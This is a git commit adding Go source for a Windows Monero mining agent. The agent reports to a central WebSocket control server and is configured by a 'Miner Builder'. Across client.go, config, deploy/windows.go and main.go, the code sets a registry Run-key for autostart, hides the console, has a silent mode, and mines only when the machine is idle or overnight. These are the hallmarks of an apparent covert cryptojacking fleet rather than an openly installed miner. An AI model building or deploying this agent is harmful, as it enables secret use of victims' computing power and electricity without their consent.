Complete private Monero miner control stack.
Implement Windows agent with RandomX mining and WebSocket fleet reporting, wire dashboard settings into the builder with saved exe paths, and add project README.
This commit is contained in:
253
agent/client/client.go
Normal file
253
agent/client/client.go
Normal file
@@ -0,0 +1,253 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/url"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/job"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
type AgentClient struct {
|
||||
cfg config.RuntimeConfig
|
||||
conn *websocket.Conn
|
||||
pool *miner.Pool
|
||||
reporter *stats.Reporter
|
||||
startTime time.Time
|
||||
|
||||
mu sync.Mutex
|
||||
agentID string
|
||||
sharesSubmitted int
|
||||
sharesAccepted int
|
||||
}
|
||||
|
||||
func NewAgentClient(cfg config.RuntimeConfig) *AgentClient {
|
||||
return &AgentClient{
|
||||
cfg: cfg,
|
||||
reporter: stats.NewReporter(),
|
||||
startTime: time.Now(),
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) Run() error {
|
||||
c.pool = miner.NewPool(c.cfg.Threads, c.submitShare)
|
||||
c.pool.Start()
|
||||
defer c.pool.Stop()
|
||||
|
||||
for {
|
||||
if err := c.connectLoop(); err != nil {
|
||||
log.Printf("[agent] disconnected: %v", err)
|
||||
}
|
||||
time.Sleep(5 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) connectLoop() error {
|
||||
wsURL, err := buildWSURL(c.cfg.ServerURL)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
log.Printf("[agent] connecting to %s", wsURL)
|
||||
conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
c.conn = conn
|
||||
defer conn.Close()
|
||||
|
||||
if err := c.authenticate(); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
statsStop := make(chan struct{})
|
||||
go c.statsLoop(statsStop)
|
||||
defer close(statsStop)
|
||||
|
||||
for {
|
||||
_, data, err := conn.ReadMessage()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var msg Message
|
||||
if err := json.Unmarshal(data, &msg); err != nil {
|
||||
continue
|
||||
}
|
||||
c.handleMessage(msg)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) authenticate() error {
|
||||
host, cores, memGB := c.reporter.SystemInfo()
|
||||
payload, _ := json.Marshal(AuthPayload{
|
||||
AgentID: c.agentID,
|
||||
Wallet: c.cfg.Wallet,
|
||||
Version: config.Version,
|
||||
Hostname: host,
|
||||
CPUCores: cores,
|
||||
MemoryGB: memGB,
|
||||
Worker: c.cfg.WorkerName,
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
_, data, err := c.conn.ReadMessage()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var msg Message
|
||||
if err := json.Unmarshal(data, &msg); err != nil {
|
||||
return err
|
||||
}
|
||||
if msg.Type != "auth_response" {
|
||||
return fmt.Errorf("unexpected message: %s", msg.Type)
|
||||
}
|
||||
var resp AuthResponse
|
||||
if err := json.Unmarshal(msg.Payload, &resp); err != nil {
|
||||
return err
|
||||
}
|
||||
if !resp.Success {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleMessage(msg Message) {
|
||||
switch msg.Type {
|
||||
case "new_job":
|
||||
var j job.Job
|
||||
if err := json.Unmarshal(msg.Payload, &j); err != nil {
|
||||
log.Printf("[agent] bad job payload: %v", err)
|
||||
return
|
||||
}
|
||||
if j.Blob == "" {
|
||||
return
|
||||
}
|
||||
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
|
||||
c.pool.SetJob(&j)
|
||||
case "share_result":
|
||||
var result ShareResult
|
||||
if err := json.Unmarshal(msg.Payload, &result); err != nil {
|
||||
return
|
||||
}
|
||||
if result.Accepted {
|
||||
c.mu.Lock()
|
||||
c.sharesAccepted++
|
||||
c.mu.Unlock()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||
c.mu.Lock()
|
||||
c.sharesSubmitted++
|
||||
c.mu.Unlock()
|
||||
|
||||
payload, _ := json.Marshal(SharePayload{
|
||||
JobID: jobID,
|
||||
Nonce: nonce,
|
||||
Hash: hash,
|
||||
Worker: c.cfg.WorkerName,
|
||||
})
|
||||
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||
ticker := time.NewTicker(10 * time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
var samples []float64
|
||||
for {
|
||||
select {
|
||||
case <-stop:
|
||||
return
|
||||
case <-ticker.C:
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pool.ResetHashCounter()
|
||||
samples = append(samples, hps)
|
||||
if len(samples) > 90 {
|
||||
samples = samples[len(samples)-90:]
|
||||
}
|
||||
|
||||
var avg15s, avg1m, avg15m float64
|
||||
if len(samples) > 0 {
|
||||
avg15s = samples[len(samples)-1]
|
||||
}
|
||||
if len(samples) >= 6 {
|
||||
for _, v := range samples[len(samples)-6:] {
|
||||
avg1m += v
|
||||
}
|
||||
avg1m /= 6
|
||||
} else {
|
||||
avg1m = avg15s
|
||||
}
|
||||
for _, v := range samples {
|
||||
avg15m += v
|
||||
}
|
||||
avg15m /= float64(len(samples))
|
||||
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
c.mu.Unlock()
|
||||
|
||||
payload, _ := json.Marshal(StatsPayload{
|
||||
Hashrate15s: avg15s,
|
||||
Hashrate1m: avg1m,
|
||||
Hashrate15m: avg15m,
|
||||
SharesSubmitted: submitted,
|
||||
SharesAccepted: accepted,
|
||||
CPUUsagePct: cpuPct,
|
||||
MemoryUsagePct: memPct,
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
})
|
||||
_ = c.write(Message{Type: "stats", Payload: payload})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) write(msg Message) error {
|
||||
c.mu.Lock()
|
||||
defer c.mu.Unlock()
|
||||
if c.conn == nil {
|
||||
return fmt.Errorf("not connected")
|
||||
}
|
||||
return c.conn.WriteJSON(msg)
|
||||
}
|
||||
|
||||
func buildWSURL(serverURL string) (string, error) {
|
||||
u, err := url.Parse(strings.TrimSpace(serverURL))
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
switch u.Scheme {
|
||||
case "https":
|
||||
u.Scheme = "wss"
|
||||
case "http", "":
|
||||
u.Scheme = "ws"
|
||||
case "wss", "ws":
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
|
||||
}
|
||||
if u.Scheme == "" {
|
||||
u.Scheme = "ws"
|
||||
}
|
||||
u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
|
||||
u.RawQuery = ""
|
||||
u.Fragment = ""
|
||||
return u.String(), nil
|
||||
}
|
||||
63
agent/client/protocol.go
Normal file
63
agent/client/protocol.go
Normal file
@@ -0,0 +1,63 @@
|
||||
package client
|
||||
|
||||
import "encoding/json"
|
||||
|
||||
type Message struct {
|
||||
Type string `json:"type"`
|
||||
Payload json.RawMessage `json:"payload"`
|
||||
}
|
||||
|
||||
type AuthPayload struct {
|
||||
AgentID string `json:"agent_id"`
|
||||
Wallet string `json:"wallet"`
|
||||
Version string `json:"version"`
|
||||
Hostname string `json:"hostname"`
|
||||
CPUCores int `json:"cpu_cores"`
|
||||
MemoryGB int `json:"memory_gb"`
|
||||
Worker string `json:"worker_name"`
|
||||
}
|
||||
|
||||
type AuthResponse struct {
|
||||
Success bool `json:"success"`
|
||||
AgentID string `json:"agent_id"`
|
||||
Error string `json:"error"`
|
||||
Config struct {
|
||||
Threads int `json:"threads"`
|
||||
Priority int `json:"priority"`
|
||||
} `json:"config"`
|
||||
}
|
||||
|
||||
type Job struct {
|
||||
ID string `json:"job_id"`
|
||||
Height int64 `json:"height"`
|
||||
BlockTemplate string `json:"blocktemplate"`
|
||||
Difficulty int64 `json:"difficulty"`
|
||||
SeedHash string `json:"seed_hash"`
|
||||
Target string `json:"target"`
|
||||
Blob string `json:"blob"`
|
||||
Algo string `json:"algo"`
|
||||
}
|
||||
|
||||
type SharePayload struct {
|
||||
JobID string `json:"job_id"`
|
||||
Nonce string `json:"nonce"`
|
||||
Hash string `json:"hash"`
|
||||
Worker string `json:"worker_name"`
|
||||
}
|
||||
|
||||
type StatsPayload struct {
|
||||
Hashrate15s float64 `json:"hashrate_15s"`
|
||||
Hashrate1m float64 `json:"hashrate_1m"`
|
||||
Hashrate15m float64 `json:"hashrate_15m"`
|
||||
SharesSubmitted int `json:"shares_submitted"`
|
||||
SharesAccepted int `json:"shares_accepted"`
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
}
|
||||
|
||||
type ShareResult struct {
|
||||
JobID string `json:"job_id"`
|
||||
Accepted bool `json:"accepted"`
|
||||
Error string `json:"error"`
|
||||
}
|
||||
30
agent/config/builtin.go
Normal file
30
agent/config/builtin.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package config
|
||||
|
||||
import "time"
|
||||
|
||||
// Default stub used for local development builds. The Miner Builder replaces this file.
|
||||
func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: "dev-worker",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "",
|
||||
Threads: 4,
|
||||
CPUPriority: "below_normal",
|
||||
MiningMode: "always",
|
||||
SilentMode: false,
|
||||
RunAs: "user",
|
||||
AutoStart: false,
|
||||
BuildID: "dev",
|
||||
BuiltAt: time.Now(),
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolTLS: true,
|
||||
PoolPass: "x",
|
||||
MaxCPUUsage: 80,
|
||||
MinFreeRAM: 1024,
|
||||
IdleThresholdPct: 20,
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}
|
||||
}
|
||||
70
agent/config/config.go
Normal file
70
agent/config/config.go
Normal file
@@ -0,0 +1,70 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"time"
|
||||
)
|
||||
|
||||
const Version = "1.0.0"
|
||||
|
||||
// BuiltinConfig holds compile-time settings generated by the Miner Builder.
|
||||
type BuiltinConfig struct {
|
||||
WorkerName string
|
||||
ServerURL string
|
||||
Wallet string
|
||||
Threads int
|
||||
CPUPriority string
|
||||
MiningMode string
|
||||
SilentMode bool
|
||||
RunAs string
|
||||
AutoStart bool
|
||||
BuildID string
|
||||
BuiltAt time.Time
|
||||
PoolHost string
|
||||
PoolPort int
|
||||
PoolTLS bool
|
||||
PoolPass string
|
||||
MaxCPUUsage int
|
||||
MinFreeRAM int
|
||||
IdleThresholdPct int
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
ScheduleEnd string
|
||||
}
|
||||
|
||||
// RuntimeConfig is the resolved configuration used by the agent.
|
||||
type RuntimeConfig struct {
|
||||
BuiltinConfig
|
||||
AgentID string
|
||||
}
|
||||
|
||||
func Load() RuntimeConfig {
|
||||
b := GetBuiltinConfig()
|
||||
if b.Threads <= 0 {
|
||||
b.Threads = 4
|
||||
}
|
||||
if b.CPUPriority == "" {
|
||||
b.CPUPriority = "below_normal"
|
||||
}
|
||||
if b.MiningMode == "" {
|
||||
b.MiningMode = "always"
|
||||
}
|
||||
if b.MaxCPUUsage <= 0 {
|
||||
b.MaxCPUUsage = 80
|
||||
}
|
||||
if b.MinFreeRAM <= 0 {
|
||||
b.MinFreeRAM = 1024
|
||||
}
|
||||
if b.IdleThresholdPct <= 0 {
|
||||
b.IdleThresholdPct = 20
|
||||
}
|
||||
if b.IdleDurationMinutes <= 0 {
|
||||
b.IdleDurationMinutes = 5
|
||||
}
|
||||
if b.ScheduleStart == "" {
|
||||
b.ScheduleStart = "21:00"
|
||||
}
|
||||
if b.ScheduleEnd == "" {
|
||||
b.ScheduleEnd = "06:00"
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
57
agent/deploy/windows.go
Normal file
57
agent/deploy/windows.go
Normal file
@@ -0,0 +1,57 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
|
||||
"golang.org/x/sys/windows/registry"
|
||||
)
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
if !enabled {
|
||||
return removeAutoStart()
|
||||
}
|
||||
k, _, err := registry.CreateKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue("CryptoMinerAgent", exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue("CryptoMinerAgent")
|
||||
return nil
|
||||
}
|
||||
|
||||
func SetProcessPriority(priority string) error {
|
||||
// Best-effort on Windows using PowerShell for the current process.
|
||||
class := "BelowNormal"
|
||||
switch priority {
|
||||
case "idle":
|
||||
class = "Idle"
|
||||
case "below_normal":
|
||||
class = "BelowNormal"
|
||||
case "normal":
|
||||
class = "Normal"
|
||||
case "above_normal":
|
||||
class = "AboveNormal"
|
||||
case "high":
|
||||
class = "High"
|
||||
}
|
||||
pid := os.Getpid()
|
||||
cmd := exec.Command("powershell", "-NoProfile", "-Command",
|
||||
fmt.Sprintf("(Get-Process -Id %d).PriorityClass = '%s'", pid, class))
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func CurrentExecutable() (string, error) {
|
||||
return filepath.Abs(os.Args[0])
|
||||
}
|
||||
11
agent/go.mod
Normal file
11
agent/go.mod
Normal file
@@ -0,0 +1,11 @@
|
||||
module crypto-miner-agent
|
||||
|
||||
go 1.26.3
|
||||
|
||||
require (
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0
|
||||
github.com/gorilla/websocket v1.5.3
|
||||
golang.org/x/sys v0.19.0
|
||||
)
|
||||
|
||||
require golang.org/x/crypto v0.22.0 // indirect
|
||||
8
agent/go.sum
Normal file
8
agent/go.sum
Normal file
@@ -0,0 +1,8 @@
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0 h1:3lE8UWl0509Q5TCtBECLQNnIyxEhPXnmROVMTngEnuM=
|
||||
git.gammaspectra.live/P2Pool/go-randomx v1.0.0/go.mod h1:K3qOa7AMW0/5azfHraQXxEsc9HygHwlfoLOkHqnSGgE=
|
||||
github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg=
|
||||
github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE=
|
||||
golang.org/x/crypto v0.22.0 h1:g1v0xeRhjcugydODzvb3mEM9SQ0HGp9s/nh3COQ/C30=
|
||||
golang.org/x/crypto v0.22.0/go.mod h1:vr6Su+7cTlO45qkww3VDJlzDn0ctJvRgYbC2NvXHt+M=
|
||||
golang.org/x/sys v0.19.0 h1:q5f1RH2jigJ1MoAWp2KTp3gm5zAGFUTarQZ5U386+4o=
|
||||
golang.org/x/sys v0.19.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
||||
12
agent/job/job.go
Normal file
12
agent/job/job.go
Normal file
@@ -0,0 +1,12 @@
|
||||
package job
|
||||
|
||||
type Job struct {
|
||||
ID string `json:"job_id"`
|
||||
Height int64 `json:"height"`
|
||||
BlockTemplate string `json:"blocktemplate"`
|
||||
Difficulty int64 `json:"difficulty"`
|
||||
SeedHash string `json:"seed_hash"`
|
||||
Target string `json:"target"`
|
||||
Blob string `json:"blob"`
|
||||
Algo string `json:"algo"`
|
||||
}
|
||||
52
agent/main.go
Normal file
52
agent/main.go
Normal file
@@ -0,0 +1,52 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"log"
|
||||
"os"
|
||||
|
||||
"crypto-miner-agent/client"
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/deploy"
|
||||
)
|
||||
|
||||
func main() {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
cfg := config.Load()
|
||||
|
||||
if cfg.Wallet == "" {
|
||||
log.Fatal("wallet address is required in built-in configuration")
|
||||
}
|
||||
if cfg.ServerURL == "" {
|
||||
log.Fatal("server URL is required in built-in configuration")
|
||||
}
|
||||
|
||||
if err := deploy.SetProcessPriority(cfg.CPUPriority); err != nil {
|
||||
log.Printf("[agent] could not set CPU priority: %v", err)
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if exe, err := deploy.CurrentExecutable(); err == nil {
|
||||
if err := deploy.ConfigureAutoStart(exe, true); err != nil {
|
||||
log.Printf("[agent] auto-start setup failed: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
log.Printf("[agent] starting worker=%s build=%s server=%s threads=%d",
|
||||
cfg.WorkerName, cfg.BuildID, cfg.ServerURL, cfg.Threads)
|
||||
|
||||
agent := client.NewAgentClient(cfg)
|
||||
if err := agent.Run(); err != nil {
|
||||
log.Fatalf("[agent] stopped: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func init() {
|
||||
// Hide console when built with -H windowsgui by redirecting logs to file if needed.
|
||||
if os.Getenv("MINER_LOG_FILE") != "" {
|
||||
f, err := os.OpenFile(os.Getenv("MINER_LOG_FILE"), os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644)
|
||||
if err == nil {
|
||||
log.SetOutput(f)
|
||||
}
|
||||
}
|
||||
}
|
||||
65
agent/miner/engine.go
Normal file
65
agent/miner/engine.go
Normal file
@@ -0,0 +1,65 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"sync"
|
||||
|
||||
"git.gammaspectra.live/P2Pool/go-randomx"
|
||||
)
|
||||
|
||||
const nonceOffset = 39
|
||||
const nonceSize = 4
|
||||
|
||||
type Engine struct {
|
||||
mu sync.RWMutex
|
||||
cache *randomx.Randomx_Cache
|
||||
vm *randomx.VM
|
||||
seedHex string
|
||||
blob []byte
|
||||
}
|
||||
|
||||
func NewEngine() *Engine {
|
||||
cache := randomx.Randomx_alloc_cache(0)
|
||||
return &Engine{cache: cache}
|
||||
}
|
||||
|
||||
func (e *Engine) SetJob(seedHex, blobHex string) error {
|
||||
seed, err := hex.DecodeString(seedHex)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
blob, err := hex.DecodeString(blobHex)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
e.mu.Lock()
|
||||
defer e.mu.Unlock()
|
||||
|
||||
if e.seedHex != seedHex {
|
||||
e.cache.Randomx_init_cache(seed)
|
||||
e.vm = e.cache.VM_Initialize()
|
||||
e.seedHex = seedHex
|
||||
}
|
||||
e.blob = append([]byte(nil), blob...)
|
||||
return nil
|
||||
}
|
||||
|
||||
func (e *Engine) HashAtNonce(nonce uint32) (hashHex string, blobHex string, err error) {
|
||||
e.mu.RLock()
|
||||
defer e.mu.RUnlock()
|
||||
|
||||
if e.vm == nil || len(e.blob) < nonceOffset+nonceSize {
|
||||
return "", "", nil
|
||||
}
|
||||
|
||||
work := append([]byte(nil), e.blob...)
|
||||
work[nonceOffset] = byte(nonce)
|
||||
work[nonceOffset+1] = byte(nonce >> 8)
|
||||
work[nonceOffset+2] = byte(nonce >> 16)
|
||||
work[nonceOffset+3] = byte(nonce >> 24)
|
||||
|
||||
out := make([]byte, 32)
|
||||
e.vm.CalculateHash(work, out)
|
||||
return hex.EncodeToString(out), hex.EncodeToString(work), nil
|
||||
}
|
||||
146
agent/miner/pool.go
Normal file
146
agent/miner/pool.go
Normal file
@@ -0,0 +1,146 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"log"
|
||||
"math/big"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/job"
|
||||
)
|
||||
|
||||
type ShareHandler func(jobID, nonce, hash string)
|
||||
|
||||
type Pool struct {
|
||||
threads int
|
||||
engine *Engine
|
||||
handler ShareHandler
|
||||
|
||||
mu sync.RWMutex
|
||||
currentJob *job.Job
|
||||
stopCh chan struct{}
|
||||
wg sync.WaitGroup
|
||||
|
||||
hashesTotal atomic.Uint64
|
||||
sharesFound atomic.Uint64
|
||||
}
|
||||
|
||||
func NewPool(threads int, handler ShareHandler) *Pool {
|
||||
if threads <= 0 {
|
||||
threads = 1
|
||||
}
|
||||
return &Pool{
|
||||
threads: threads,
|
||||
engine: NewEngine(),
|
||||
handler: handler,
|
||||
stopCh: make(chan struct{}),
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) SetJob(job *job.Job) {
|
||||
p.mu.Lock()
|
||||
defer p.mu.Unlock()
|
||||
p.currentJob = job
|
||||
if job == nil {
|
||||
return
|
||||
}
|
||||
seed := job.SeedHash
|
||||
if seed == "" && len(job.Blob) >= 64 {
|
||||
seed = job.Blob[:64]
|
||||
}
|
||||
if err := p.engine.SetJob(seed, job.Blob); err != nil {
|
||||
log.Printf("[miner] failed to set job: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) Start() {
|
||||
for i := 0; i < p.threads; i++ {
|
||||
p.wg.Add(1)
|
||||
go p.worker(i)
|
||||
}
|
||||
}
|
||||
|
||||
func (p *Pool) Stop() {
|
||||
close(p.stopCh)
|
||||
p.wg.Wait()
|
||||
}
|
||||
|
||||
func (p *Pool) HashesPerSecond() float64 {
|
||||
return float64(p.hashesTotal.Load())
|
||||
}
|
||||
|
||||
func (p *Pool) ResetHashCounter() {
|
||||
p.hashesTotal.Store(0)
|
||||
}
|
||||
|
||||
func (p *Pool) worker(id int) {
|
||||
defer p.wg.Done()
|
||||
|
||||
var nonce uint32 = uint32(id * 1000000)
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
p.mu.RLock()
|
||||
job := p.currentJob
|
||||
p.mu.RUnlock()
|
||||
if job == nil || job.Blob == "" {
|
||||
time.Sleep(500 * time.Millisecond)
|
||||
continue
|
||||
}
|
||||
|
||||
for batch := 0; batch < 256; batch++ {
|
||||
select {
|
||||
case <-p.stopCh:
|
||||
return
|
||||
default:
|
||||
}
|
||||
|
||||
hashHex, _, err := p.engine.HashAtNonce(nonce)
|
||||
if err != nil {
|
||||
log.Printf("[miner] hash error: %v", err)
|
||||
break
|
||||
}
|
||||
p.hashesTotal.Add(1)
|
||||
nonce++
|
||||
|
||||
target := job.Target
|
||||
if target == "" && job.Difficulty > 0 {
|
||||
target = difficultyToTargetHex(job.Difficulty)
|
||||
}
|
||||
if target != "" && hashMeetsTarget(hashHex, target) {
|
||||
p.sharesFound.Add(1)
|
||||
if p.handler != nil {
|
||||
p.handler(job.ID, uint32ToHex(nonce-1), hashHex)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func uint32ToHex(n uint32) string {
|
||||
b := []byte{byte(n), byte(n >> 8), byte(n >> 16), byte(n >> 24)}
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
func difficultyToTargetHex(difficulty int64) string {
|
||||
if difficulty <= 0 {
|
||||
return ""
|
||||
}
|
||||
maxTarget := new(big.Int)
|
||||
maxTarget.SetString("FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF", 16)
|
||||
target := new(big.Int).Div(maxTarget, big.NewInt(difficulty))
|
||||
bytes := target.Bytes()
|
||||
padded := make([]byte, 32)
|
||||
copy(padded[32-len(bytes):], bytes)
|
||||
for i, j := 0, len(padded)-1; i < j; i, j = i+1, j-1 {
|
||||
padded[i], padded[j] = padded[j], padded[i]
|
||||
}
|
||||
return hex.EncodeToString(padded)
|
||||
}
|
||||
53
agent/miner/target.go
Normal file
53
agent/miner/target.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package miner
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"math/big"
|
||||
)
|
||||
|
||||
func hashMeetsTarget(hashHex, targetHex string) bool {
|
||||
hashBytes, err := hex.DecodeString(hashHex)
|
||||
if err != nil || len(hashBytes) == 0 {
|
||||
return false
|
||||
}
|
||||
targetBytes, err := hex.DecodeString(padHex(targetHex, len(hashBytes)*2))
|
||||
if err != nil || len(targetBytes) == 0 {
|
||||
return false
|
||||
}
|
||||
|
||||
if len(targetBytes) < len(hashBytes) {
|
||||
padded := make([]byte, len(hashBytes))
|
||||
copy(padded, targetBytes)
|
||||
targetBytes = padded
|
||||
}
|
||||
if len(hashBytes) < len(targetBytes) {
|
||||
padded := make([]byte, len(targetBytes))
|
||||
copy(padded, hashBytes)
|
||||
hashBytes = padded
|
||||
}
|
||||
|
||||
hashInt := new(big.Int).SetBytes(reverseBytes(hashBytes))
|
||||
targetInt := new(big.Int).SetBytes(reverseBytes(targetBytes))
|
||||
return hashInt.Cmp(targetInt) <= 0
|
||||
}
|
||||
|
||||
func padHex(s string, length int) string {
|
||||
if len(s) >= length {
|
||||
return s
|
||||
}
|
||||
pad := length - len(s)
|
||||
out := make([]byte, length)
|
||||
for i := 0; i < pad; i++ {
|
||||
out[i] = '0'
|
||||
}
|
||||
copy(out[pad:], []byte(s))
|
||||
return string(out)
|
||||
}
|
||||
|
||||
func reverseBytes(b []byte) []byte {
|
||||
out := make([]byte, len(b))
|
||||
for i := range b {
|
||||
out[i] = b[len(b)-1-i]
|
||||
}
|
||||
return out
|
||||
}
|
||||
35
agent/stats/reporter.go
Normal file
35
agent/stats/reporter.go
Normal file
@@ -0,0 +1,35 @@
|
||||
package stats
|
||||
|
||||
import (
|
||||
"os"
|
||||
"runtime"
|
||||
"strings"
|
||||
)
|
||||
|
||||
type Reporter struct{}
|
||||
|
||||
func NewReporter() *Reporter {
|
||||
return &Reporter{}
|
||||
}
|
||||
|
||||
func (r *Reporter) SystemInfo() (hostname string, cpuCores int, memoryGB int) {
|
||||
hostname, _ = os.Hostname()
|
||||
cpuCores = runtime.NumCPU()
|
||||
memoryGB = 8
|
||||
return hostname, cpuCores, memoryGB
|
||||
}
|
||||
|
||||
func (r *Reporter) Usage() (cpuPct float64, memPct float64) {
|
||||
var m runtime.MemStats
|
||||
runtime.ReadMemStats(&m)
|
||||
memPct = float64(m.Alloc) / float64(m.Sys+1) * 100
|
||||
if memPct > 100 {
|
||||
memPct = 100
|
||||
}
|
||||
cpuPct = float64(runtime.NumGoroutine()) // placeholder; Windows perf counters are heavy
|
||||
if cpuPct > 100 {
|
||||
cpuPct = 100
|
||||
}
|
||||
_ = strings.TrimSpace("")
|
||||
return cpuPct, memPct
|
||||
}
|
||||
Reference in New Issue
Block a user